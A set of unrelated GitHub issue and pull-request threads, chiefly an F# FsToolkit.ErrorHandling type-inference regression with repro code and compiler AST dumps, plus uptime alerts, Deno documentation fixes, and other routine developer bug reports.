text:
=1.3.0 breaks type inference of unwrapped types

Thanks again for fixing #86. After updating to 1.4.1, however, I still get errors from code which compiled with 1.2.6.
Here's a minimal repro:
type X() =
   member _.A = 1

let f () = asyncResult {
    let! v = async { return X() }
    return v.A
}

Under 1.2.6, this compiles. Under 1.4.1, the compiler can't figure out the type of v' and errors out with a "lookup of indeterminate object type" on v'.A
Note that if you replace X() with a record, the code may compile because F# will infer types from members of records, but not from members of classes and anonymous records.
Possible workaround: unwrap v inside a regular async CE instead:
let f () = asyncResult {
    let v = async { return X() }
    return! async { let! v' = v in return v'.A }
}

I'll still need to roll back to 1.2.6 though because we have this pattern every single time we make a database query:
asyncResult {
    use cmd = Db.Query(connStr)
    let! records = cmd.AsyncExecute(args)
    // do stuff with records
}

Ugh this feels like a potential compiler bug. cc @cartermp @baronfel

A less verbose work around is to add a type annotation to v
let f () = asyncResult {
    let! (v : X) = async { return X() }
    return v.A
}

Additionally this problem is not apparent when using the <LangVersion>preview</LangVersion> in the fsproj.

With all these breaking changes (#84 #85) I should probably unlist these newest packages and bump this package to v2.

Preview opts you into applicative support, are you thinking there's an interaction there with typechecking?

If I expand the example to:
let f () = asyncResult {
                let! v = async { return X() }
                let! x = async { return X() }
                let! y = async { return X() }
                return v.A, x.A, y.A
            }

This no longer works because it's not in applicative mode.  So there's an issue with type inference with regards to Source members and Classes/Anonymous Records

This looks like a compiler regression given that it doesn't repro unless you turn on preview, which actives applicatives and the associating typechecking.

That's not how I read it, @cartermp. In https://github.com/demystifyfp/FsToolkit.ErrorHandling/issues/88#issuecomment-648850317 @TheAngryByrd said that turning on preview fixed the initial report, which suggest to me that the rewrite to BindReturn that happened works as expected. The first example is a pretty classic BindReturn scenario.
The example in https://github.com/demystifyfp/FsToolkit.ErrorHandling/issues/88#issuecomment-648863093 isn't something that's easily transformable to BindReturn, etc, so it surfaces the original issue even in an environment with langversion:preview enabled.  I've replicated this behavior in a sample project for verification and I'm certain I don't have preview enabled.

Oh, derp. I misread

here's the code I'm tinkering around with to show the difference between how classes are resolved vs how records are resolved:
[<Sealed>]
type X() =
   member _.A = 1

type Y = { A : int }

let f () = asyncResult {
  let! a = async { return X() }
  let! b = async { return X() }
  let! c = async { return X() }
  return a.A, b.A, c.A
}

let g () = asyncResult {
  let! a = async { return { A = 1 } }
  let! b = async { return { A = 1 } }
  let! c = async { return { A = 1 } }
  return a.A, b.A, c.A
}

each of the let! in the f() are throwing the following error:
error FS0041: No overloads match for method 'Bind'.

Known types of arguments: Async<Result<X,'a>> * (Y -> Async<Result<(int * int * int),'b>>)

Available overloads:
 - member AsyncResultBuilder.Bind : asyncComputation:Async<'T> * binder:('T -> Async<Result<'U,'TError>>) -> Async<Result<'U,'TError>> // Argument 'binder' doesn't match
 - member AsyncResultBuilder.Bind : asyncComputation:System.Threading.Tasks.Task<'T> * binder:('T -> Async<Result<'U,'TError>>) -> Async<Result<'U,'TError>> // Argument 'asyncComputation' doesn't match
 - member AsyncResultBuilder.Bind : asyncResult:Async<Result<'T,'TError>> * binder:('T -> Async<Result<'U,'TError>>) -> Async<Result<'U,'TError>> // Argument 'binder' doesn't match

which to me looks like we're definitely mis-computing the type of the binder argument for classes somehow?

more findings:
@TheAngryByrd and I added some logging to the CE typecheck pass and went through an exercise of manually translating the logged SynExprs we saw into the actual builder calls.

Final Delay call emitted by the compiler
SynExpr.Lambda
   (false, false,
    SynSimplePats.SimplePats
      ([SynSimplePat.Id
          (unitVar, None, true, false, false,
           /Users/chethusk/oss/scratch/source/Library.fs (11,2--11,31) IsSynthetic=true)],
       /Users/chethusk/oss/scratch/source/Library.fs (11,2--11,31) IsSynthetic=true),
    SynExpr.App
      (NonAtomic, false,
       SynExpr.DotGet
         (SynExpr.Ident builder@, unknown (1,0--1,0) IsSynthetic=false,
          LongIdentWithDots ([Bind], []),
          /Users/chethusk/oss/scratch/source/Library.fs (11,2--11,31) IsSynthetic=true),
       SynExpr.Paren
         (SynExpr.Tuple
            (false,
             [SynExpr.App
                (NonAtomic, false,
                 SynExpr.DotGet
                   (SynExpr.Ident builder@, unknown (1,0--1,0) IsSynthetic=false,
                    LongIdentWithDots ([Source], []),
                    /Users/chethusk/oss/scratch/source/Library.fs (11,11--11,31) IsSynthetic=true),
                 SynExpr.Paren
                   (SynExpr.Paren
                      (SynExpr.App
                         (NonAtomic, false, SynExpr.Ident async,
                          SynExpr.CompExpr
                            (false, { contents = false },
                             SynExpr.YieldOrReturn
                               ((false, true),
                                SynExpr.App
                                  (Atomic, false, SynExpr.Ident X,
                                   SynExpr.Const
                                     (SynConst.Unit,
                                      /Users/chethusk/oss/scratch/source/Library.fs (11,27--11,29) IsSynthetic=false),
                                   /Users/chethusk/oss/scratch/source/Library.fs (11,26--11,29) IsSynthetic=false),
                                /Users/chethusk/oss/scratch/source/Library.fs (11,19--11,29) IsSynthetic=false),
                             /Users/chethusk/oss/scratch/source/Library.fs (11,17--11,31) IsSynthetic=false),
                          /Users/chethusk/oss/scratch/source/Library.fs (11,11--11,31) IsSynthetic=false),
                       unknown (1,0--1,0) IsSynthetic=false, None,
                       /Users/chethusk/oss/scratch/source/Library.fs (11,11--11,31) IsSynthetic=true),
                    unknown (1,0--1,0) IsSynthetic=false, None,
                    /Users/chethusk/oss/scratch/source/Library.fs (11,11--11,31) IsSynthetic=true),
                 /Users/chethusk/oss/scratch/source/Library.fs (11,11--11,31) IsSynthetic=true);
              SynExpr.MatchLambda
                (false,
                 /Users/chethusk/oss/scratch/source/Library.fs (11,7--11,8) IsSynthetic=false,
                 [Clause
                    (SynPat.Named
                       (SynPat.Wild
                          /Users/chethusk/oss/scratch/source/Library.fs (11,7--11,8) IsSynthetic=false,
                        a, false, None,
                        /Users/chethusk/oss/scratch/source/Library.fs (11,7--11,8) IsSynthetic=false),
                     None,
                     SynExpr.App
                       (NonAtomic, false,
                        SynExpr.DotGet
                          (SynExpr.Ident builder@,
                           unknown (1,0--1,0) IsSynthetic=false,
                           LongIdentWithDots ([Bind], []),
                           /Users/chethusk/oss/scratch/source/Library.fs (12,2--12,31) IsSynthetic=true),
                        SynExpr.Paren
                          (SynExpr.Tuple
                             (false,
                              [SynExpr.App
                                 (NonAtomic, false,
                                  SynExpr.DotGet
                                    (SynExpr.Ident builder@,
                                     unknown (1,0--1,0) IsSynthetic=false,
                                     LongIdentWithDots ([Source], []),
                                     /Users/chethusk/oss/scratch/source/Library.fs (12,11--12,31) IsSynthetic=true),
                                  SynExpr.Paren
                                    (SynExpr.Paren
                                       (SynExpr.App
                                          (NonAtomic, false, SynExpr.Ident async,
                                           SynExpr.CompExpr
                                             (false, { contents = false },
                                              SynExpr.YieldOrReturn
                                                ((false, true),
                                                 SynExpr.App
                                                   (Atomic, false,
                                                    SynExpr.Ident X,
                                                    SynExpr.Const
                                                      (SynConst.Unit,
                                                       /Users/chethusk/oss/scratch/source/Library.fs (12,27--12,29) IsSynthetic=false),
                                                    /Users/chethusk/oss/scratch/source/Library.fs (12,26--12,29) IsSynthetic=false),
                                                 /Users/chethusk/oss/scratch/source/Library.fs (12,19--12,29) IsSynthetic=false),
                                              /Users/chethusk/oss/scratch/source/Library.fs (12,17--12,31) IsSynthetic=false),
                                           /Users/chethusk/oss/scratch/source/Library.fs (12,11--12,31) IsSynthetic=false),
                                        unknown (1,0--1,0) IsSynthetic=false,
                                        None,
                                        /Users/chethusk/oss/scratch/source/Library.fs (12,11--12,31) IsSynthetic=true),
                                     unknown (1,0--1,0) IsSynthetic=false, None,
                                     /Users/chethusk/oss/scratch/source/Library.fs (12,11--12,31) IsSynthetic=true),
                                  /Users/chethusk/oss/scratch/source/Library.fs (12,11--12,31) IsSynthetic=true);
                               SynExpr.MatchLambda
                                 (false,
                                  /Users/chethusk/oss/scratch/source/Library.fs (12,7--12,8) IsSynthetic=false,
                                  [Clause
                                     (SynPat.Named
                                        (SynPat.Wild
                                           /Users/chethusk/oss/scratch/source/Library.fs (12,7--12,8) IsSynthetic=false,
                                         b, false, None,
                                         /Users/chethusk/oss/scratch/source/Library.fs (12,7--12,8) IsSynthetic=false),
                                      None,
                                      SynExpr.App
                                        (NonAtomic, false,
                                         SynExpr.DotGet
                                           (SynExpr.Ident builder@,
                                            unknown (1,0--1,0) IsSynthetic=false,
                                            LongIdentWithDots ([Bind], []),
                                            /Users/chethusk/oss/scratch/source/Library.fs (13,2--13,31) IsSynthetic=true),
                                         SynExpr.Paren
                                           (SynExpr.Tuple
                                              (false,
                                               [SynExpr.App
                                                  (NonAtomic, false,
                                                   SynExpr.DotGet
                                                     (SynExpr.Ident builder@,
                                                      unknown (1,0--1,0) IsSynthetic=false,
                                                      LongIdentWithDots
                                                        ([Source], []),
                                                      /Users/chethusk/oss/scratch/source/Library.fs (13,11--13,31) IsSynthetic=true),
                                                   SynExpr.Paren
                                                     (SynExpr.Paren
                                                        (SynExpr.App
                                                           (NonAtomic, false,
                                                            SynExpr.Ident async,
                                                            SynExpr.CompExpr
                                                              (false,
                                                               { contents =
                                                                           false },
                                                               SynExpr.YieldOrReturn
                                                                 ((false, true),
                                                                  SynExpr.App
                                                                    (Atomic,
                                                                     false,
                                                                     SynExpr.Ident
                                                                       X,
                                                                     SynExpr.Const
                                                                       (SynConst.Unit,
                                                                        /Users/chethusk/oss/scratch/source/Library.fs (13,27--13,29) IsSynthetic=false),
                                                                     /Users/chethusk/oss/scratch/source/Library.fs (13,26--13,29) IsSynthetic=false),
                                                                  /Users/chethusk/oss/scratch/source/Library.fs (13,19--13,29) IsSynthetic=false),
                                                               /Users/chethusk/oss/scratch/source/Library.fs (13,17--13,31) IsSynthetic=false),
                                                            /Users/chethusk/oss/scratch/source/Library.fs (13,11--13,31) IsSynthetic=false),
                                                         unknown (1,0--1,0) IsSynthetic=false,
                                                         None,
                                                         /Users/chethusk/oss/scratch/source/Library.fs (13,11--13,31) IsSynthetic=true),
                                                      unknown (1,0--1,0) IsSynthetic=false,
                                                      None,
                                                      /Users/chethusk/oss/scratch/source/Library.fs (13,11--13,31) IsSynthetic=true),
                                                   /Users/chethusk/oss/scratch/source/Library.fs (13,11--13,31) IsSynthetic=true);
                                                SynExpr.MatchLambda
                                                  (false,
                                                   /Users/chethusk/oss/scratch/source/Library.fs (13,7--13,8) IsSynthetic=false,
                                                   [Clause
                                                      (SynPat.Named
                                                         (SynPat.Wild
                                                            /Users/chethusk/oss/scratch/source/Library.fs (13,7--13,8) IsSynthetic=false,
                                                          c, false, None,
                                                          /Users/chethusk/oss/scratch/source/Library.fs (13,7--13,8) IsSynthetic=false),
                                                       None,
                                                       SynExpr.App
                                                         (NonAtomic, false,
                                                          SynExpr.DotGet
                                                            (SynExpr.Ident
                                                               builder@,
                                                             unknown (1,0--1,0) IsSynthetic=false,
                                                             LongIdentWithDots
                                                               ([Return], []),
                                                             /Users/chethusk/oss/scratch/source/Library.fs (14,2--14,22) IsSynthetic=true),
                                                          SynExpr.Paren
                                                            (SynExpr.Paren
                                                               (SynExpr.Tuple
                                                                  (false,
                                                                   [SynExpr.LongIdent
                                                                      (false,
                                                                       LongIdentWithDots
                                                                         ([a; A],
                                                                          [/Users/chethusk/oss/scratch/source/Library.fs (14,10--14,11) IsSynthetic=false]),
                                                                       None,
                                                                       /Users/chethusk/oss/scratch/source/Library.fs (14,9--14,12) IsSynthetic=false);
                                                                    SynExpr.LongIdent
                                                                      (false,
                                                                       LongIdentWithDots
                                                                         ([b; A],
                                                                          [/Users/chethusk/oss/scratch/source/Library.fs (14,15--14,16) IsSynthetic=false]),
                                                                       None,
                                                                       /Users/chethusk/oss/scratch/source/Library.fs (14,14--14,17) IsSynthetic=false);
                                                                    SynExpr.LongIdent
                                                                      (false,
                                                                       LongIdentWithDots
                                                                         ([c; A],
                                                                          [/Users/chethusk/oss/scratch/source/Library.fs (14,20--14,21) IsSynthetic=false]),
                                                                       None,
                                                                       /Users/chethusk/oss/scratch/source/Library.fs (14,19--14,22) IsSynthetic=false)],
                                                                   [/Users/chethusk/oss/scratch/source/Library.fs (14,12--14,13) IsSynthetic=false;
                                                                    /Users/chethusk/oss/scratch/source/Library.fs (14,17--14,18) IsSynthetic=false],
                                                                   /Users/chethusk/oss/scratch/source/Library.fs (14,9--14,22) IsSynthetic=false),
                                                                unknown (1,0--1,0) IsSynthetic=false,
                                                                None,
                                                                /Users/chethusk/oss/scratch/source/Library.fs (14,2--14,22) IsSynthetic=true),
                                                             unknown (1,0--1,0) IsSynthetic=false,
                                                             None,
                                                             /Users/chethusk/oss/scratch/source/Library.fs (14,2--14,22) IsSynthetic=true),
                                                          /Users/chethusk/oss/scratch/source/Library.fs (14,2--14,22) IsSynthetic=true),
                                                       /Users/chethusk/oss/scratch/source/Library.fs (14,2--14,22) IsSynthetic=false,
                                                       DebugPointForTarget.Yes)],
                                                   DebugPointAtBinding
                                                     /Users/chethusk/oss/scratch/source/Library.fs (13,2--13,31) IsSynthetic=false,
                                                   /Users/chethusk/oss/scratch/source/Library.fs (14,2--14,22) IsSynthetic=false)],
                                               [],
                                               /Users/chethusk/oss/scratch/source/Library.fs (13,2--13,31) IsSynthetic=true),
                                            unknown (1,0--1,0) IsSynthetic=false,
                                            None,
                                            /Users/chethusk/oss/scratch/source/Library.fs (13,2--13,31) IsSynthetic=true),
                                         /Users/chethusk/oss/scratch/source/Library.fs (13,2--13,31) IsSynthetic=true),
                                      /Users/chethusk/oss/scratch/source/Library.fs (13,2--14,22) IsSynthetic=false,
                                      DebugPointForTarget.Yes)],
                                  DebugPointAtBinding
                                    /Users/chethusk/oss/scratch/source/Library.fs (12,2--12,31) IsSynthetic=false,
                                  /Users/chethusk/oss/scratch/source/Library.fs (13,2--14,22) IsSynthetic=false)],
                              [],
                              /Users/chethusk/oss/scratch/source/Library.fs (12,2--12,31) IsSynthetic=true),
                           unknown (1,0--1,0) IsSynthetic=false, None,
                           /Users/chethusk/oss/scratch/source/Library.fs (12,2--12,31) IsSynthetic=true),
                        /Users/chethusk/oss/scratch/source/Library.fs (12,2--12,31) IsSynthetic=true),
                     /Users/chethusk/oss/scratch/source/Library.fs (12,2--14,22) IsSynthetic=false,
                     DebugPointForTarget.Yes)],
                 DebugPointAtBinding
                   /Users/chethusk/oss/scratch/source/Library.fs (11,2--11,31) IsSynthetic=false,
                 /Users/chethusk/oss/scratch/source/Library.fs (12,2--14,22) IsSynthetic=false)],
             [],
             /Users/chethusk/oss/scratch/source/Library.fs (11,2--11,31) IsSynthetic=true),
          unknown (1,0--1,0) IsSynthetic=false, None,
          /Users/chethusk/oss/scratch/source/Library.fs (11,2--11,31) IsSynthetic=true),
       /Users/chethusk/oss/scratch/source/Library.fs (11,2--11,31) IsSynthetic=true),
    /Users/chethusk/oss/scratch/source/Library.fs (11,2--11,31) IsSynthetic=true)]

expanded equivalent
  asyncResult.Delay(fun () ->
      asyncResult.Bind(asyncResult.Source((async { return X() })), (fun a ->
          asyncResult.Bind(asyncResult.Source((async { return X() })), (fun b ->
              asyncResult.Bind(asyncResult.Source((async { return X() })), (fun c ->
                  asyncResult.Return((a.A, b.A, c.A))
              ))
          ))
      ))
  )

As best as we can tell, the emitted lambdas are correct in terms of shape.  However, when we test this by manually entering this expansion into a library file with the X type defined, we see that the compiler still complains about being unable to resolve the type based on usage:
open FsToolkit.ErrorHandling

type X() =
   member _.A = 1

let thing =
  asyncResult.Delay(fun () ->
      asyncResult.Bind(asyncResult.Source((async { return X() })), (fun a ->
          asyncResult.Bind(asyncResult.Source((async { return X() })), (fun b ->
              asyncResult.Bind(asyncResult.Source((async { return X() })), (fun c ->
                  asyncResult.Return((a.A, b.A, c.A)) // here you get ambigiuous lookup errors on each usage of `.A`
              ))
          ))
      ))
  )

we did notice that if the lambdas were explicitly typed (as is what would happen if the let! was explicitly typed (let! (a: X) = async { return X() })), the desugared form compiles well.
So perhaps there's some more general type-inference problem at play here @cartermp?

This seems to be because of the presence of the Bind(Async<'t>, 't -> Async<Result<'t, 'err>>) overload. This was just introduced in version 1.4.1 of this library, to allow users to unwrap only one level of the Async<Result<'t, 'err>> wrapped type. However it seems that adding these bind overloads makes the compiler unhappy. The ambiguity can be solved by forcing explicit type patterns (let! (a: X)) at each callsite, giving users the choice of which 'layers' they want to unwrap, but that's a huge burden to add.
This seems like a huge use case for the 'restraint' concept that @TheAngryByrd likes to talk about:
member _.Bind(a: Async<'t>, binder: 't -> Async<Result<'t, 'err>>) when 't is not Result<blah, blah> = ...

I am also seeing similar behaviour with Postgres Type provider https://github.com/demetrixbio/FSharp.Data.Npgsql with latest version of FsToolkit but this works fine with version 1.2.2.

Well the current options are:

See if there's a way to get the F# compiler to fix this problem (seems unlikely)
Remove the Bind introduced in #87 to allow for type inference to work properly and list work arounds for handling the other wrapper type.
Keep the Bind from #87 and have this as a known issue in documentation where you have to add a type annotation.

I vote for 2 option.

I too vote 2. As I mentioned, we use this type inference every single time we make a database query, and we cannot add a type annotation because the type is generated by the type provider and doesn't have a usable name.
On the other side, the issue in #86 only appeared in a couple of spots through our codebase, and a workaround should be possible, since all CEs are just sugar, although it seems a bit tricky.
For reference, take this piece of v1.2.6 code:
    let f x = asyncResult { return string x  }

    let g () : Async<Result<bool, _>> =

        asyncResult {
            let! r1 = f 0
            let! (r2 : Result<string, _>)  = f 1
            return (r2 = Ok r1)
        }

Not sure how this could be done in v1.4.0 without forsaking the use of asyncResult entirely.

On the other side, the issue #86 (that the Bind in #87 resolved) only appears in a couple of spots through our codebase, and a workaround should be possible, since all CEs are just sugar, although it seems a bit tricky.

Yeah this was the same for one of my work projects, but there was no real good reason for us to be doing it.
Ok I'm going to revert #87 and yank the release of 1.4.1 for now.

@piaste so typically if I needed the Result directly for some reason, I would just use an async CE.
We also might be missing other function helpers but the most basic to just handle either Ok or Error cases,
https://github.com/demystifyfp/FsToolkit.ErrorHandling/blob/aa9f8add03707b3dfe00a52e4f81984740832af5/src/FsToolkit.ErrorHandling/AsyncResult.fs#L23-L24
tends to be able to handle it.

@TheAngryByrd the issue happened when we had a long taskResult computation, as usually every API endpoint is a single taskResult CE, but at one particular point in the flow we had an error return that we were able to handle on the spot instead of returning a HTTP failure. Restructuring the entire CE to be a plain async with manual error handling would not be worth it.
For now, I've solved it somewhat clumsily by running the right side of the unwrapping throgh Task.map (function | Ok x -> Choice1Of2 x | Error y -> Choice2Of2 y), so the Choice doesn't get unwrapped and it can be handled manually.

authors: TheAngryByrd baronfel cartermp piaste sandeep-eroad


text:
🛑 DC Doc Portal-Agent is down

In 41207ca, DC Doc Portal-Agent (https://agents.dencapsecure.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: DC Doc Portal-Agent is back up in fa6842f.

source: gharchive/issue

repo: dencap/Upptime

license: MIT

license_type: permissive

license_source: github-api


text:
🛑 DC Doc Portal-Provider is down

In 12e1746, DC Doc Portal-Provider (https://providers.dencapsecure.com) was down:

HTTP code: 0
Response time: 0 ms

Resolved: DC Doc Portal-Provider is back up in 26ce5ff.


text:
chore: fix ovsx command to publish .vsix file

Chore: fix ovsx command to publish .vsix file
Dropping --packagePath argument from ovsx command.

Pull Request Checklist
You can go to dendron pull requests to see full details for items in this checklist.
General
Quality Assurance

[ ] Add a test for the new feature
[ ] Make sure all the existing tests pass
[ ] Do a spot check by running your feature with our test workspace
[ ] If your tests involve running [[manual Testing|dendron://dendron.dendron-site/dendron.dev.qa.test#manual-testing]], make sure to update [[Test Workspace|dendron://dendron.dendron-site/dendron.dev.ref.test-workspace]] with any necessary notes/additions to perform manual test ^9jtWc6ov340p
[ ] After you submit your pull request, check the output of our integration test and make sure all tests pass

NOTE: If you running MacOS or Linux, pay special attention to the Windows output and vice versa if you are developing on Windows

Special Cases

[ ] If your tests changes an existing snapshot, make sure that snapshots are updated
[ ] If you are adding a new language feature (graphically visible in VS Code/preview/publishing), make sure that it is included in test-workspace. We use this to manually inspect new changes and for auto regression testing

Docs

[ ] Make sure that the PR title follows our commit style
[ ] Please summarize the feature or impact in 1-2 lines in the PR description
[ ] If your change reflects documentation changes, also submit a PR to dendron-site and mention the doc PR link in your current PR

Example PR Description
# feat: capitalize all foos

This changes capitalizes all occurrences of `foo` to `Foo`

Docs PR: <URL_TO_DOCS_PR>

Special Cases
First Time PR

[ ] Sign the CLA which will be prompted by our github bot after you submit the PR
[ ] Add your discord alias in the review so that we can give you the horticulturalist badge in our community

Git

[ ] Make sure your branch names adhere to our commit style [[#^6zdCscSXs1MM]]

All PRs should start with [feat|fix|enhance|]/[{description-of-pr-in-kebab-case}]

eg. feat/add-thisthing

Analytics

[ ] If you are adding analytics related changes, make sure the Telemetry docs are updated

Github Issue

[ ] If this pull request is addressing an existing issue, make sure to link this PR to the issue that it is resolving.
[ ] If the resolution comes with a document update, link the docs PR to the issue as well.

wouldn't this cause publishing to fail for the same reason of why we started to use --packagePath in the first place?

Not according to their documentation at least: https://www.npmjs.com/package/ovsx

Variants:
ovsx publish packages the extension in the current working directory using vsce and then publishes it.
ovsx publish --packagePath  packages the extension in the given path using vsce and then publishes it.
ovsx publish  publishes an already packaged file.

2 differences from what it was before - we're not using --yarn param, and we're specifying a file name with a .vsix ext. So, at least according to their docs, this should follow ovsx publish <file> publishes an already packaged file.

source: gharchive/pull-request

repo: dendronhq/dendron


text:
Cant use tldr.

Describe the bug
It cant use tldr and always shows 0/0 results.
But it can use cheatsh.
Additional information: I used brew to install tldr.
To Reproduce

Input navi --tldr docker
There is 0/0 result.

Screenshots

Versions:
OS: macOS
Shell: zsh
navi: 2.22.1
zsh version: zsh 5.9 (x86_64-apple-darwin22.0)

What is the output of these shell commands:
$ type -a tldr
$ echo $PATH
$ tldr docker --markdown

I have the same problem, as I described time ago in https://github.com/denisidoro/navi/issues/798.
❯ tldr --version
tldr v1.6.0 (v1.6.0)
Copyright (C) 2016 Arvid Gerstmann
Source available at https://github.com/tldr-pages/tldr-c-client
❯ type -a tldr
tldr is /opt/homebrew/bin/tldr
❯ tldr docker --markdown
tldr: unrecognized option `--markdown'

您好！您的邮件我已收到，我会尽快的查阅邮件。谢谢您的来信！

authors: Vex7eX aserrallerios jackandroselv lacygoill

repo: denisidoro/navi


text:
WIP: NRDP flexible opts

Icinga2 uses a different manner of command configuration and it does not support specific parameter ordering.
This patch(set) is required to solve this problem by making option processing flexible/order-independent.

I know that this is already conflicting with PR #4 , I'll rebase this one once you accept the other.

@dennyzhang until you tell your opinion about the patch I already submitted, I won't start updating the rest of the nrdp bash scripts as I only needed this one. Afterwards, if I manage to find the time, I'm glad to do so.

@ecklm , thanks for working on this incompatibility issue of Icinga2.
Could you help to validate the change works for both old nagios and new icinga?

In general, this modification is independent of icinga2 or nagios itself, it just changes the processing of command line parameters so that it does not require a fixed order of them.
But to prove, NRDP configs use this command in the fixed order of -w -c and some of the pid specification commands. This order still works, therefore it should not interfere with the old configs.
$ ./check_proc_mem.sh -w 3 -c 4 --cmdpattern ssh
Memory: CRITICAL RES: 5 MB - VIRT: 12 MB used!|RES=5242880;;;;

$ ./check_proc_mem.sh -w 3 -c 7 --pid 744
Memory: WARNING RES: 5 MB - VIRT: 12 MB used!|RES=5242880;;;;

$ ./check_proc_mem.sh -w 3 -c 7 --pidfile /run/sshd.pid
Memory: WARNING RES: 5 MB - VIRT: 12 MB used!|RES=5242880;;;;

The difference is that it now also works this way:
$ ./check_proc_mem.sh --pidfile /run/sshd.pid -w 3 -c 7
Memory: WARNING RES: 5 MB - VIRT: 12 MB used!|RES=5242880;;;;

@ecklm , thanks for the clarification. Make sense to me.

Okay. During the next weeks, I'll try to update the remaining shell scripts, too.

Need fix:

[ ] check_proc_threadcount.sh
[x] check_proc_cpu.sh
[x] check_proc_mem.sh
[ ] check_proc_fd.sh

The following do not need fix:

check_disk_size.sh

I consider this patchset final

authors: dennyzhang ecklm


text:
Reflecting on the last year of deno_doc

It is time to reflect on the last year of deno_doc: what is good, what is bad, and what needs improvements. The main pain point I currently see is this: the doc.deno.land website needs to do a lot of post processing on the deno doc --json output to get all the features it wants. I have written down all the features I want in deno doc directly as concrete goals below:
Goals
The high level goal of deno_doc is to take a JS / JS+tsdoc / TS source file, and extract all information from this file that is relevant for documentation of the module, and output it in a structured and easy to consume format. Specifically:

The input should have to be no more than the root module, and all of it's (transitive) dependencies. All inputted modules consist of source code, a media type, and a fully resolved specifier.
The output should be structured data that describes the signatures of all functions / types / interfaces declared / exported in that file.

Each component in this structured data should contain a reference to the module it is defined it, so a user can be deep linked there.
The structured data should not encode the actual implementation of code in a module.
The structured data should expose doc comments on declarations of fields of those as raw markdown, but without the jsdoc / tsdoc parameters (they should be exposed as structured data).
The structured data should be flat. There should be no hierarchical structure for individual modules or TypeScript namespaces. Nesting is fine for things like fields of classes / interfaces.

The output of the structured data should be deterministic for a given input.
The output format should require no extra computation to be processed into HTML with signature syntax highlighting, node deep linking (also across modules), or cleaning of documentation comments.
The output format must be JSON serializable.
deno_doc should support compilation to arm64 and x64 on Windows, macOS and Linux, and compilation to WASM.
Module loading should be pluggable.
Partial module graphs should be supported (ie let me generate an output for a module, even if some of its dependencies are unavailable).

We should also consider direct HTML generation in Rust from the structured data. This should be a stretch goal for after we have this structured data though.

deno_doc should support compilation to arm64 and x64 on Windows, macOS and Linux, and compilation to WASM.

@lucacasonato I played with compiling deno_doc into wasm here: https://github.com/vovacodes/esmdoc it looks like it works just fine, see the deno test for the output wasm: https://github.com/vovacodes/esmdoc/blob/main/wasm_tests/tests.ts
I'm happy to bring it back into deno_doc if you guys interested.
There is a couple of decision to be made there though, like:

What should be the public interface. So far I implemented just the function that returns raw JSON AST from parse_with_reexports.
Should we rather return wasm_bindgen "shell" objects that lookup directly into the wasm memory rather, so we can skip potentially expensive serialization into JSON?
Do we also need a function that returns html or do we want to let people generate their own markup based on the AST?

authors: lucacasonato vovacodes


text:
add documentation for snapshot testing

Adds documentation for https://github.com/denoland/deno_std/pull/2039

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@bartlomieju all review comments have been addressed now

authors: CLAassistant bcheidemann

repo: denoland/manual


text:
fix(docs): solve type checking errors in Markdown code samples

Fixes issues found by running deno test --doc --unstable at the root of the manual
Updates Deno.Signal examples in examples/os_signals.md to reflect changes made in 1.14.0

Notes:

I changed the type of several code blocks in runtime/workers.md to js because ts throws the following errors when running deno test --doc:

TS2345 [ERROR]: Argument of type '{ type: "module"; deno: { namespace: boolean; permissions: { env: boolean; hrtime: boolean; net: string; ffi: boolean; read: boolean; run: boolean; write: boolean; }; }; }' is not assignable to
parameter of type 'WorkerOptions'.                                                                                e: boolean; net:
  Object literal may only specify known properties, and 'deno' does not exist in type 'WorkerOptions'.             'WorkerOptions'.
    deno: {
    ^
    at file:///path/to/my/dir/manual/runtime/workers.md$197-215.ts:4:5

There appear to be two interfaces called WorkerOptions in two different .d.ts files and it's using the wrong one somehow

Examples with local paths such as ./foo.js don't work with deno test --doc so I added ignores for now
During local testing I replaced the $STD_VERSION vars with 0.107.0 to make it work. If they can also be handled in the CI pipeline then I believe deno test --doc --unstable can be added and run for every workflow

@GJZwiers thank you, I already started similar PR in https://github.com/denoland/manual/pull/32. Let me try to point you on a few things:

I changed the type of several code blocks in runtime/workers.md to js because ts throws the following errors when running deno test --doc:

This appears to be caused by not using --unstable flag - deno object in WorkerOptions is an extension provided by Deno and is considered unstable. So you might want to try running with --unstable flag and reverting back to using ts.

Examples with local paths such as ./foo.js don't work with deno test --doc so I added ignores for now

That's fine 👍

During local testing I replaced the $STD_VERSION vars with 0.107.0 to make it work. If they can also be handled in the CI pipeline then I believe deno test --doc --unstable can be added and run for every workflow

This can be solved by using an import map for testing; please refer to #32 to see how it's done.

I changed back the code blocks to ts and running that with --unstable works. Also fixed some more typechecking issues. Something that was also mentioned in the other PR is that the syntax highlighting goes away when using ts, ignore blocks, so I don't know if that's desirable to push through.
Also encountered a weird error where deno test --doc --unstable panics, which would go away by changing LF to CRLF line endings in VS Code. I will try to see if I can reproduce that and if so make a separate issue. Otherwise I managed to get a clean run of deno test --doc --unstable locally with the current changes

In any case, feel free to combine the changes here with #32 if that's convenient.

authors: GJZwiers bartlomieju


text:
After 1st discussion, the app looks hung up.

app version 3.1.2
After 1st disucussion, the state of among us capture was still DISCUSSION, discord voice states were unmuted and speaker unmuted in spite of the game state was not discussion.
The log of among us capture has these exceptions.
{
  "guildID": ****,
  "userID": ****,
  "parameters": {
    "deaf": true,
    "mute": true
  },
  "taskID": "****"
}Status: RanToCompletion, Exception: , Faulted: False

and
System.NullReferenceException: Arg_NullReferenceException
   at AmongUsCapture.GameMemReader.RunLoop()

This case was reproduced through every 4 games.

This should be fixed in capture version 3.1.3, please try upgrading to that version. This issue belongs in that repository anyways

This should be fixed in capture version 3.1.3, please try upgrading to that version. This issue belongs in that repository anyways

No troubles occured Until a few days ago.
I updated among us capture today (probabry from 6.10.1)
However, my windows environment may be changed yesterday. after installing other software, communicating between apps may have trouble like discord app cannot capture another app sound.

No troubles occured Until a few days ago.
I updated among us capture today (probabry from 6.10.1)
However, my windows environment may be changed yesterday. after installing other software, communicating between apps may have trouble like discord app cannot capture another app sound.

Thank you.

Thank you.

I mistook the repository.
I am sorry for opening issue about among us capture.

I mistook the repository.
I am sorry for opening issue about among us capture.

No problem! :)

No problem! :)

authors: denverquane snmatsui

repo: denverquane/automuteus


text:
Unit Test Framework Setup

Set up unit test framework and spec out initial set of tests for the existing code base.
In Scope

Selection and installation of a testing library (i.e. pytest, unittest, etc.)
Setup of a unit test sub-directory
Creation of unit test methods/classes with doc strings describing what each method should be testing
Update the README.md with instructions for how to run the tests upon installation and setup

Out of Scope

